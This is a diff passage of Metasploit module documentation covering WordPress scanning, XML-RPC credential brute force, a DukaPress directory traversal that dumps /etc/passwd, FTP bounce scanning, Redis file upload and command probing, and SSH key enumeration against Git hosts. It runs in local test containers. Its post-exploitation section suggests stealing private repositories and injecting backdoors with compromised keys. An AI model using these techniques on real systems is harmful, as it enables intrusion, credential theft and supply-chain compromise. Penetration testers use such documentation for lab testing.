7. Symfony Skeleton
|
||||
8. Symfony WebApp
|
||||
9. Grav CMS
|
||||
10. Backdrop CMS
|
||||
|
||||
Go based
|
||||
11. Hugo
|
||||
|
||||
JS based
|
||||
12. Gatsby JS
|
||||
13. Angular
|
||||
|
||||
HTML
|
||||
14. Static HTML site
|
||||
|
||||
Enter your choice (1-14): 4
|
||||
|
||||
Project folder: /home/weh/dev/msf-wp
|
||||
Project software: Wordpress
|
||||
Project URL: http://msf-wp.docksal
|
||||
|
||||
Do you wish to proceed? [y/n]: y
|
||||
Cloning repository...
|
||||
Cloning into 'msf-wp'...
|
||||
...
|
||||
3. Installing site
|
||||
Step 1 Initializing stack...
|
||||
Removing containers...
|
||||
...
|
||||
Starting services...
|
||||
Creating network "msf-wp_default" with the default driver
|
||||
Creating volume "msf-wp_cli_home" with default driver
|
||||
Creating volume "msf-wp_project_root" with local driver
|
||||
Creating volume "msf-wp_db_data" with default driver
|
||||
Creating msf-wp_db_1 ... done
|
||||
Creating msf-wp_cli_1 ... done
|
||||
Creating msf-wp_web_1 ... done
|
||||
Connected vhost-proxy to "msf-wp_default" network.
|
||||
Waiting for project stack to become ready...
|
||||
Step 2 Initializing site...
|
||||
Step 2 Generating wp-config.php...
|
||||
Success: Generated 'wp-config.php' file.
|
||||
Step 3 Installing site...
|
||||
msmtp: envelope-from address is missing
|
||||
Success: WordPress installed successfully.
|
||||
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/wordpress_sanner```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set VHOST [HOSTNAME]```
|
||||
4. Do: ```run```
|
||||
|
||||
### Wordpress 5.2 running in Docksal
|
||||
|
||||
Follow the Instructions above to setup the Docksal Containers.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/wordpress_scanner
|
||||
msf5 auxiliary(scanner/http/wordpress_scanner) > set RHOST msf-wp.docksal
|
||||
RHOST => msf-wp.docksal
|
||||
msf5 auxiliary(scanner/http/wordpress_scanner) > set VHOST msf-wp.docksal
|
||||
VHOST => msf-wp.docksal
|
||||
msf5 auxiliary(scanner/http/wordpress_scanner) > run
|
||||
|
||||
[*] Trying 192.168.64.100
|
||||
[+] 192.168.64.100 running Wordpress 5.2
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/wordpress_scanner) >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,166 @@
|
||||
## Description
|
||||
This module attempts to authenticate against a Wordpress-site (via
|
||||
XMLRPC) using username and password combinations indicated by the
|
||||
`USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
|
||||
|
||||
## References
|
||||
* [https://codex.wordpress.org/XML-RPC_Support](https://codex.wordpress.org/XML-RPC_Support)
|
||||
* [http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/](http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/)
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Setup using Docksal
|
||||
Install [Docksal](https://docksal.io/)
|
||||
|
||||
Create a new WordPress installation using `fin project create`
|
||||
|
||||
```
|
||||
fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
|
||||
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 8
|
||||
2. Drupal 8 (Composer Version)
|
||||
3. Drupal 7
|
||||
4. Wordpress
|
||||
5. Magento
|
||||
6. Laravel
|
||||
7. Symfony Skeleton
|
||||
8. Symfony WebApp
|
||||
9. Grav CMS
|
||||
10. Backdrop CMS
|
||||
|
||||
Go based
|
||||
11. Hugo
|
||||
|
||||
JS based
|
||||
12. Gatsby JS
|
||||
13. Angular
|
||||
|
||||
HTML
|
||||
14. Static HTML site
|
||||
|
||||
Enter your choice (1-14): 4
|
||||
|
||||
Project folder: /home/weh/dev/msf-wp
|
||||
Project software: Wordpress
|
||||
Project URL: http://msf-wp.docksal
|
||||
|
||||
Do you wish to proceed? [y/n]: y
|
||||
Cloning repository...
|
||||
Cloning into 'msf-wp'...
|
||||
...
|
||||
3. Installing site
|
||||
Step 1 Initializing stack...
|
||||
Removing containers...
|
||||
...
|
||||
Starting services...
|
||||
Creating network "msf-wp_default" with the default driver
|
||||
Creating volume "msf-wp_cli_home" with default driver
|
||||
Creating volume "msf-wp_project_root" with local driver
|
||||
Creating volume "msf-wp_db_data" with default driver
|
||||
Creating msf-wp_db_1 ... done
|
||||
Creating msf-wp_cli_1 ... done
|
||||
Creating msf-wp_web_1 ... done
|
||||
Connected vhost-proxy to "msf-wp_default" network.
|
||||
Waiting for project stack to become ready...
|
||||
Step 2 Initializing site...
|
||||
Step 2 Generating wp-config.php...
|
||||
Success: Generated 'wp-config.php' file.
|
||||
Step 3 Installing site...
|
||||
msmtp: envelope-from address is missing
|
||||
Success: WordPress installed successfully.
|
||||
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/wordpress_xmlrpc_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set VHOST [HOSTNAME]```
|
||||
4. Do: ```set USERNAME [user]```
|
||||
5. Do: ```set PASSWORD [pass]```
|
||||
6. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
A specific username to authenticate as
|
||||
|
||||
**USER_FILE**
|
||||
|
||||
File containing usernames, one per line
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
A specific password to authenticate with
|
||||
|
||||
**PASS_FILE**
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
**USERPASS_FILE**
|
||||
|
||||
File containing users and passwords separated by space, one pair per line
|
||||
|
||||
**USER_AS_PASS**
|
||||
|
||||
Try the username as the password for all users (default: `false`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Wordpress 5.2 running in Docksal
|
||||
|
||||
Follow the Instructions above to setup the Docksal Containers.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal
|
||||
RHOST => msf-wp.docksal
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set VHOST msf-wp.docksal
|
||||
VHOST => msf-wp.docksal
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run
|
||||
|
||||
[*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello...
|
||||
[+] 192.168.64.100:80 - XMLRPC enabled, Hello message received!
|
||||
[*] Starting XML-RPC login sweep...
|
||||
[+] 192.168.64.100:80 - Success: 'admin:admin'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) >
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Wordpress 5.2 with disabled or protected XMLRPC
|
||||
|
||||
You may see this message also, if you forgot to set the `VHOST` option.
|
||||
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal
|
||||
RHOST => msf-wp.docksal
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run
|
||||
|
||||
[*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello...
|
||||
[-] XMLRPC is not enabled! Aborting
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,157 @@
|
||||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability in WordPress Plugin
|
||||
"DukaPress" version 2.5.3, allowing to read arbitrary files with the
|
||||
web server privileges.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Wordpress with installed DukaPress <= 2.5.3
|
||||
* [https://wordpress.org/plugins/dukapress](https://wordpress.org/plugins/dukapress)
|
||||
* [Plugin v2.5.3](https://downloads.wordpress.org/plugin/dukapress.2.5.3.zip)
|
||||
|
||||
### Setup using Docksal
|
||||
Install [Docksal](https://docksal.io/)
|
||||
|
||||
Create a new Wordpress installation using `fin project create`
|
||||
|
||||
```
|
||||
fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
|
||||
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 8
|
||||
2. Drupal 8 (Composer Version)
|
||||
3. Drupal 7
|
||||
4. Wordpress
|
||||
5. Magento
|
||||
6. Laravel
|
||||
7. Symfony Skeleton
|
||||
8. Symfony WebApp
|
||||
9. Grav CMS
|
||||
10. Backdrop CMS
|
||||
|
||||
Go based
|
||||
11. Hugo
|
||||
|
||||
JS based
|
||||
12. Gatsby JS
|
||||
13. Angular
|
||||
|
||||
HTML
|
||||
14. Static HTML site
|
||||
|
||||
Enter your choice (1-14): 4
|
||||
|
||||
Project folder: /home/weh/dev/msf-wp
|
||||
Project software: Wordpress
|
||||
Project URL: http://msf-wp.docksal
|
||||
|
||||
Do you wish to proceed? [y/n]: y
|
||||
Cloning repository...
|
||||
Cloning into 'msf-wp'...
|
||||
...
|
||||
3. Installing site
|
||||
Step 1 Initializing stack...
|
||||
Removing containers...
|
||||
...
|
||||
Starting services...
|
||||
Creating network "msf-wp_default" with the default driver
|
||||
Creating volume "msf-wp_cli_home" with default driver
|
||||
Creating volume "msf-wp_project_root" with local driver
|
||||
Creating volume "msf-wp_db_data" with default driver
|
||||
Creating msf-wp_db_1 ... done
|
||||
Creating msf-wp_cli_1 ... done
|
||||
Creating msf-wp_web_1 ... done
|
||||
Connected vhost-proxy to "msf-wp_default" network.
|
||||
Waiting for project stack to become ready...
|
||||
Step 2 Initializing site...
|
||||
Step 2 Generating wp-config.php...
|
||||
Success: Generated 'wp-config.php' file.
|
||||
Step 3 Installing site...
|
||||
msmtp: envelope-from address is missing
|
||||
Success: WordPress installed successfully.
|
||||
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
```
|
||||
|
||||
Download the wordpress plugin
|
||||
|
||||
```
|
||||
cd msf-wp/wp-content/plugins
|
||||
wget https://downloads.wordpress.org/plugin/dukapress.2.5.3.zip
|
||||
unzip dukapress.2.5.3.zip
|
||||
|
||||
```
|
||||
|
||||
Login and click on DukaPress "Activate" Link
|
||||
|
||||
```
|
||||
http://msf-wp.docksal/wp-admin/plugins.php
|
||||
user: admin
|
||||
pass: admin
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/wp_dukapress_file_read```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set VHOST [HOSTNAME]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**FILEPATH**
|
||||
|
||||
The path to the file to read (default: `/etc/passwd`)
|
||||
|
||||
**DEPTH**
|
||||
|
||||
Traversal Depth (to reach the root folder) (default: `7`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Wordpress 5.2 running in Docksal
|
||||
|
||||
Follow the Instructions above to setup the Docksal Containers.
|
||||
|
||||
````
|
||||
msf5 > use auxiliary/scanner/http/wp_dukapress_file_read
|
||||
msf5 > set RHOST msf-wp.docksal
|
||||
RHOST => msf-wp.docksal
|
||||
msf5 > set VHOST msf-wp.docksal
|
||||
VHOST => msf-wp.docksal
|
||||
msf5 > run
|
||||
|
||||
[*] Downloading file...
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/bin/false
|
||||
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
|
||||
docker:x:1000:1000::/home/docker:/bin/bash
|
||||
|
||||
[+] File saved in: /home/weh/.msf4/loot/20191009203058_default_192.168.64.100_dukapress.file_560342.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Enumerate TCP services via the FTP bounce PORT/LIST method
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/portscan/ftpbounce`
|
||||
3. Do: `set BOUNCEHOST [ip]`
|
||||
4. Do: `set PORTS [number(s)]`
|
||||
5. Do: `set RHOSTS [ip]`
|
||||
6. Do: `set FTPUSER [user]`
|
||||
7. Do: `set FTPPASS [password]`
|
||||
8. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Docker Usage: `docker run -e "ADDED_FLAGS=-w -W -d -d" -e FTP_USER_NAME=bob -e FTP_USER_PASS=12345 -e FTP_USER_HOME=/home/bob stilliard/pure-ftpd`
|
||||
|
||||
### PureFTPd and Kali Linux 2019.3
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/portscan/ftpbounce
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set BOUNCEHOST 172.17.0.2
|
||||
BOUNCEHOST => 172.17.0.2
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set PORTS 8080
|
||||
BOUNCEPORT => 8080
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set RHOSTS 172.17.0.4
|
||||
RHOSTS => 172.17.0.4
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set FTPUSER bob
|
||||
FTPUSER => bob
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set FTPPASS 12345
|
||||
FTPPASS => 12345
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > run
|
||||
|
||||
[+] 172.17.0.2:21 - TCP OPEN 172.17.0.4:8080
|
||||
[*] 172.17.0.2:21 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Manual Exploitation
|
||||
|
||||
```
|
||||
root@ubuntu:~# nmap -p 8080 -v -b bob:12345@172.17.0.2 172.17.0.4 -Pn
|
||||
|
||||
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-25 20:34 UTC
|
||||
Resolved FTP bounce attack proxy to 172.17.0.2 (172.17.0.2).
|
||||
Initiating Parallel DNS resolution of 1 host. at 20:34
|
||||
Completed Parallel DNS resolution of 1 host. at 20:34, 0.00s elapsed
|
||||
Attempting connection to ftp://bob:12345@172.17.0.2:21
|
||||
Connected:220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
|
||||
220-You are user number 1 of 5 allowed.
|
||||
220-Local time is now 20:34. Server port: 21.
|
||||
220-This is a private system - No anonymous login
|
||||
220-This server supports FXP transfers
|
||||
220-IPv6 connections are also welcome on this server.
|
||||
220 You will be disconnected after 15 minutes of inactivity.
|
||||
Login credentials accepted by FTP server!
|
||||
Initiating Bounce Scan at 20:34
|
||||
Discovered open port 8080/tcp on 172.17.0.4
|
||||
Completed Bounce Scan at 20:34, 0.00s elapsed (1 total ports)
|
||||
Nmap scan report for 172.17.0.4
|
||||
Host is up.
|
||||
|
||||
PORT STATE SERVICE
|
||||
8080/tcp open http-proxy
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
## Description
|
||||
|
||||
Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.
|
||||
|
||||
This module can be used to leverage functionality exposed by Redis to achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot be completely controlled given the nature of how Redis stores its database on disk.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module is tested on two different Redis server instances.
|
||||
Virtual testing environments (inside docker container):
|
||||
|
||||
- Redis 5.0.6
|
||||
- Redis 4.0.14
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/redis/file_upload`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `set LocalFile [local_file_path_to_be_uploaded]`
|
||||
4. Do: `set RemoteFile [remote_file_destination]`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**DISABLE_RDBCOMPRESSION**
|
||||
|
||||
If set to `false`, redis server will disable compression before saving. Defaults to `true`.
|
||||
|
||||
**FLUSHALL**
|
||||
|
||||
If set to `true`, redis server will remove all redis data before saving. Defaults to `false`.
|
||||
|
||||
**LocalFile**
|
||||
|
||||
Path to the local file to be uploaded.
|
||||
|
||||
**RemoteFile**
|
||||
|
||||
Path, or file name, to store the file as on the Redis server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Redis: 4.0.14 inside a docker container
|
||||
```
|
||||
msf5 auxiliary(scanner/redis/file_upload) > set RHOSTS 172.17.0.2
|
||||
RHOSTS => 172.17.0.2
|
||||
msf5 auxiliary(scanner/redis/file_upload) > set LocalFile redis_upload_test.txt
|
||||
LocalFile => redis_upload_test.txt
|
||||
msf5 auxiliary(scanner/redis/file_upload) > set RemoteFile redis_upload_test.txt
|
||||
RemoteFile => redis_upload_test.txt
|
||||
msf5 auxiliary(scanner/redis/file_upload) > run
|
||||
|
||||
[+] 172.17.0.2:6379 - 172.17.0.2:6379 -- saved 23 bytes inside of redis DB at redis_upload_test.txt
|
||||
[*] 172.17.0.2:6379 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,41 @@
|
||||
## Description
|
||||
|
||||
Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability.
|
||||
Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.
|
||||
|
||||
This module locates Redis endpoints by attempting to run a specified Redis command.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module is tested on two different Redis server instances.
|
||||
Virtual testing environments (inside docker container):
|
||||
|
||||
- Redis 5.0.6
|
||||
- Redis 4.0.14
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/redis/redis_server`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**COMMAND**
|
||||
|
||||
Requires a valid redis command to be executed on rhosts. Defaults to `INFO`.
|
||||
Redis commands list can be found [here](https://redis.io/commands).
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Redis: 4.0.14 inside a docker container
|
||||
```
|
||||
msf5 auxiliary(scanner/redis/redis_server) > use auxiliary/scanner/redis/redis_server
|
||||
msf5 auxiliary(scanner/redis/redis_server) > set RHOSTS 172.17.0.3
|
||||
RHOSTS => 172.17.0.3
|
||||
msf5 auxiliary(scanner/redis/redis_server) > run
|
||||
|
||||
[+] 172.17.0.3:6379 - Found redis with INFO command: $2701\x0d\x0a# Server\x0d\x0aredis_version:4.0.14\x0d\x0aredis_git_sha1:00000000\x0d\x0aredis_git_dirty:0\x0d\x0aredis_build_id:30850c2ae048947f\x0d\x0aredis_mode:standalone\x0d\x0aos:Linux 4.19.69-1-MANJARO x86_64\x0d\x0aarch_bits:64\x0d\x0amultiplexing_api:epoll\x0d\x0aatomicvar_api:atomic-builtin\x0d\x0agcc_version:8.3.0\x0d\x0aprocess_id:1\x0d\x0arun_id:de1d3d4547ce93ecad76de2efdbcf7ae2d456613\x0d\x0atcp_port:6379\x0d\x0auptime_in_seconds:564\x0d\x0auptime_in_days:0\x0d\x0ahz:10\x0d\x0alru_clock:10154159\x0d\x0aexecutable:/data/redis-server\x0d\x0aconfig_file:\x0d\x0a\x0d\x0a# Clients\x0d\x0aconnected_clients:1\x0d\x0aclient_longest_output_list:0\x0d\x0aclient_biggest_input_buf:0\x0d\x0ablocked_clients:0\x0d\x0a\x0d\x0a# Memory\x0d\x0aused_memory:849224\x0d\x0aused_memory_human:829.32K\x0d\x0aused_memory_rss:4464640\x0d\x0aused_memory_rss_human:4.26M\x0d\x0aused_memory_peak:849224\x0d\x0aused_memory_peak_human:829.32K\x0d\x0aused_memory_peak_perc:100.00%\x0d\x0aused_memory_overhead:836126\x0d\x0aused_memory_startup:786488\x0d\x0aused_memory_dataset:13098\x0d\x0aused_memory_dataset_perc:20.88%\x0d\x0atotal_system_memory:12010311680\x0d\x0atotal_system_memory_human:11.19G\x0d\x0aused_memory_lua:37888\x0d\x0aused_memory_lua_human:37.00K\x0d\x0amaxmemory:0\x0d\x0amaxmemory_human:0B\x0d\x0amaxmemory_policy:noeviction\x0d\x0amem_fragmentation_ratio:5.26\x0d\x0amem_allocator:jemalloc-4.0.3\x0d\x0aactive_defrag_running:0\x0d\x0alazyfree_pending_objects:0\x0d\x0a\x0d\x0a# Persistence\x0d\x0aloading:0\x0d\x0ardb_changes_since_last_save:0\x0d\x0ardb_bgsave_in_progress:0\x0d\x0ardb_last_save_time:1570434683\x0d\x0ardb_last_bgsave_status:ok\x0d\x0ardb_last_bgsave_time_sec:-1\x0d\x0ardb_current_bgsave_time_sec:-1\x0d\x0ardb_last_cow_size:0\x0d\x0aaof_enabled:0\x0d\x0aaof_rewrite_in_progress:0\x0d\x0aaof_rewrite_scheduled:0\x0d\x0aaof_last_rewrite_time_sec:-1\x0d\x0aaof_current_rewrite_time_sec:-1\x0d\x0aaof_last_bgrewrite_status:ok\x0d\x0aaof_last_write_status:ok\x0d\x0aaof_last_cow_size:0\x0d\x0a\x0d\x0a# Stats\x0d\x0atotal_connections_received:5\x0d\x0atotal_commands_processed:3\x0d\x0ainstantaneous_ops_per_sec:0\x0d\x0atotal_net_input_bytes:79\x0d\x0atotal_net_output_bytes:8191\x0d\x0ainstantaneous_input_kbps:0.00\x0d\x0ainstantaneous_output_kbps:0.00\x0d\x0arejected_connections:0\x0d\x0async_full:0\x0d\x0async_partial_ok:0\x0d\x0async_partial_err:0\x0d\x0aexpired_keys:0\x0d\x0aexpired_stale_perc:0.00\x0d\x0aexpired_time_cap_reached_count:0\x0d\x0aevicted_keys:0\x0d\x0akeyspace_hits:0\x0d\x0akeyspace_misses:0\x0d\x0apubsub_channels:0\x0d\x0apubsub_patterns:0\x0d\x0alatest_fork_usec:0\x0d\x0amigrate_cached_sockets:0\x0d\x0aslave_expires_tracked_keys:0\x0d\x0aactive_defrag_hits:0\x0d\x0aactive_defrag_misses:0\x0d\x0aactive_defrag_key_hits:0\x0d\x0aactive_defrag_key_misses:0\x0d\x0a\x0d\x0a# Replication\x0d\x0arole:master\x0d\x0aconnected_slaves:0\x0d\x0amaster_replid:0d4b69672220406a209cf68d63e22215f5bc8741\x0d\x0amaster_replid2:0000000000000000000000000000000000000000\x0d\x0amaster_repl_offset:0\x0d\x0asecond_repl_offset:-1\x0d\x0arepl_backlog_active:0\x0d\x0arepl_backlog_size:1048576\x0d\x0arepl_backlog_first_byte_offset:0\x0d\x0arepl_backlog_histlen:0\x0d\x0a\x0d\x0a# CPU\x0d\x0aused_cpu_sys:0.66\x0d\x0aused_cpu_user:0.45\x0d\x0aused_cpu_sys_children:0.00\x0d\x0aused_cpu_user_children:0.00\x0d\x0a\x0d\x0a# Cluster\x0d\x0acluster_enabled:0\x0d\x0a\x0d\x0a# Keyspace
|
||||
[*] 172.17.0.3:6379 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module scans for the Fortinet SSH backdoor and creates sessions.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a `USERAUTH_SUCCESS` message is sent in place of the expected
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
## Introduction
|
||||
|
||||
This module attempts to authenticate to Git servers using compromised SSH private keys. This module can be used to check a single key or recursively look through a directory. It will not attempt to check keys that have a passphrase, however a bruteforce attack could be launched on a key and then the passphrase could be disabled.
|
||||
|
||||
## Setup
|
||||
|
||||
1. `ssh-keygen -b 2048 -t rsa`
|
||||
2. Add the RSA pubic key to a GitHub or GitLab account (Public ends in .pub)
|
||||
3. Follow the usage instructions below
|
||||
4. Either use KEY_FILE or KEY_DIR to specify the generated SSH private key
|
||||
5. Run the module
|
||||
6. Observe that it will identify the GitHub/GitLab user that this key belongs to
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_enum_git_keys
|
||||
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > set KEY_DIR /Users/w/.ssh
|
||||
KEY_DIR => /Users/w/.ssh
|
||||
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > run
|
||||
|
||||
Git Access Data
|
||||
===============
|
||||
|
||||
Key Location User Access
|
||||
------------ -----------
|
||||
/Users/w/.ssh/id_ed25519 wdahlenburg
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Once you have identified a Git user from an SSH key, there are two immediate possibilities.
|
||||
|
||||
1. Download private repositories that the owner knows
|
||||
2. Modify public repositories and inject a backdoor
|
||||
|
||||
To begin either, the valid keys will need to be added to the current `~/.ssh/config`.
|
||||
|
||||
Example: Using a valid key at /Users/w/.ssh/id_ed25519
|
||||
|
||||
1. Write the following to `~/.ssh/config`
|
||||
`Host github
|
||||
User git
|
||||
Hostname github.com
|
||||
PreferredAuthentications publickey
|
||||
IdentityFile /Users/w/.ssh/id_ed25519
|
||||
`
|
||||
2. Clone a repo using the key
|
||||
` $ git clone github:<username>/Repo.git`
|
||||
3. Alternatively, modify an existing local repo by modifying the .git/config file
|
||||
```
|
||||
...
|
||||
[remote "origin"]
|
||||
url = github:username/reponame.git
|
||||
...
|
||||
|
||||
```
|
||||
4. Any changes will be pushed using the specified key. Make sure you set the git aliases to match your target.
|
||||
@@ -1,4 +1,4 @@
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
This module uses a malformed packet or timing attack to enumerate users on
|
||||
an OpenSSH server.
|
||||
|
||||
@@ -32,7 +32,7 @@
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
|
||||
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
|
||||
|
||||
**STOP_ON_SUCCESS**
|
||||
|
||||
@@ -104,8 +104,8 @@ msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst
|
||||
192.168.2.137
|
||||
192.168.2.35
|
||||
192.168.2.46
|
||||
msf auxiliary(ssh_login) > set rhosts file://root/ssh_hosts.lst
|
||||
rhosts => file://root/ssh_hosts.lst
|
||||
msf auxiliary(ssh_login) > set rhosts file:/root/ssh_hosts.lst
|
||||
rhosts => file:/root/ssh_hosts.lst
|
||||
msf auxiliary(ssh_login) > set verbose false
|
||||
verbose => false
|
||||
msf auxiliary(ssh_login) > set threads 4
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
